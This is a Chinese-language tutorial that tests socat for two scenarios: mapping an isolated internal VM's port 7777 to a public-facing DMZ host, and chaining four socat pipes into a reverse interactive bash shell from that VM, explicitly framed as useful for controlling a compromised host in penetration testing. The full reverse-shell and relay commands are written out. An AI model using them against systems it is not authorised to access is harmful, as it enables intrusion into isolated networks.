SOCAT的两个应用场景测试
一:关于SOCAT
SOCAT(Socket CAT)是一个网络工具,它的核心理念是建立两个“地址”间的双向通信管道。咋一听,这功能平白无奇,但,作为工程师的你,明白的:这里的地址,指的是文件描述符,而“Linux一切皆文件”,于是,SOCAT简直有点无所不能。
出于兴趣,业余时间测试了SOCAT的两个应用场景,分享之。
二:内网服务端口映射到隔离区机器
隔离内网的虚拟机10.0.0.1上有一服务,监听端口为7777,想在公网也能访问它。解决办法有多种,比如说用iptables 的DNAT配置或者其他的工具,但本文只关注SOCAT的使用。
下面是场景测试的结构图:

测试步骤
(1)在隔离机器183.xx.xx.217上机器上运行:
socat tcp-listen:20048 tcp-listen:56303

此命令在隔离机器上建立了临时的监听端口20048,一旦有连接进入,则启动映射的目标端口56303的端口监听,以及建立连接和56303的端口的双向管道。从隔离机器上看,映射连接发生之前,只有临时端口20048在监听。

(2)内网机器启动服务,监听7777端口(这里用了NETCAT简单启动一个服务)
(3)在内网机器10.0.0.1上配置第二个SOCAT管道,完成服务映射
socat tcp:192.168.10.3:20048 tcp:10.0.0.1:7777

命令建立从内网机器(10.0.0.1)到隔离机器(内网IP是192.168.10.3)的TCP连接,隔离机器上临时的监听端口20048,接收到连接请求,则启动映射的目标端口56303的端口监听,以及建立本连接和56303的端口的双向管道。如图所示,隔离机器上变成了56303的端口监听和可以看到来自内网机器的TCP连接

(4)在公网访问隔离机器的56303端口,相当于访问内网机器10.0.0.1的7777端口,可以看到通信收发都是正确的

从内网机器10.0.0.1上查看7777端口的数据收发,也是正确的

三:使用案例二:隔离内网的反向交互式shell
使用场景:需要远程控制隔离内网的虚拟机10.0.0.1,假设10.0.0.1的虚拟机已经被控制(比如说在渗透测试的场合远程控制被黑机器,或者是业务上需远程控制某隔离内网的终端设备)。10.0.0.1不能访问公网,只能访问隔离区的机器,于是,这里考虑将10.0.0.1的反向shell映射到隔离机器的某个端口上。

这个实现方案中,使用了4条SOCAT命令,实现4条“管道”。在图中用红色的带箭头的线段表示。
(1)在隔离机器183.xx.xx.217上机器上运行:
socat tcp-listen:20048 tcp-listen:56303

(2)在本地机器启动本地的7777端口LISTEN
socat file:`tty`,raw,echo=0 tcp-listen:7777

这里其实是一条特殊的管道,tty和本地7777端口之间的管道,图中标成“管道3”
(3)在本地机器上配置端口绑定
socat tcp:183.XX.XX.217:20048 tcp:127.0.0.1:7777
这条命令初始化了“管道1”和“管道2”,在隔离机器上可以看到,“管道1”的监听端口,和“管道2”的连接。
(4)在远程内网机器(10.0.0.1)上生成反向的SEHLL到隔离机器(远程隔离内网IP为192.168.10.3)的端口绑定,“管道4” 生成。
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.10.3:56303

(5)本地机器的监听7777端口的窗口成功收到反向shell
